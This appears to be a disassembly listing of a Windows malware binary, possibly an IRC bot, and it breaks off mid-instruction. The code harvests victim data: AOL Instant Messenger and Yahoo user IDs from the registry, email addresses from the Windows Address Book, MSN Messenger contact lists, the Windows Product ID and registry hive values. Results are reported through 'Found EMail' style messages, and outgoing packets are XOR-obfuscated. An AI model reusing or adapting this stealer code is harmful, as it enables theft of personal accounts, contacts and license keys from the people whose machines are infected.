4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 1A59E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch dd 4FA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 24AA25Ch dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 4BA217E8h dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 1C18EAE8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 252A45Ah, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 91E85210h, 90024FA1h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D20h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024FA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h dd 0F08B0044h, 8A0C6851h, 90560044h, 1C1772E8h, 4E5C6800h dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89D86851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0A6E85718h dd 907780AAh, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h dd 24448B04h, 0E890501Ch, 24F9FD8h, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489A8h dd 6852F08Bh, 448998h, 64E89056h, 68001C16h, 444E5Ch, 8F72E856h dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44897C68h dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448960h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024F9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 296029Eh test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_4488F8 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 2910000h test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx nop call near ptr 2930000h jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488EC mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 296029Eh test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 2910000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h call near ptr 296029Eh nop mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F30 push eax nop call near ptr 2910000h mov eax, [esp+14h] push eax nop call near ptr 2930000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 2880000h nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2730000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 2850BF4h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx nop call near ptr 2730720h mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 2730994h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 296029Eh test eax, eax jnz loc_43680E mov ebx, off_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A38 push ecx call ebx ; sub_5F76F7 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 2910000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A2C lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h push 64h nop call near ptr 2850369h jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 2930000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B7B+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2930000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B6F+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2930000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B64 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2930000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2930000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 296029Eh mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 2910000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 2930000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, 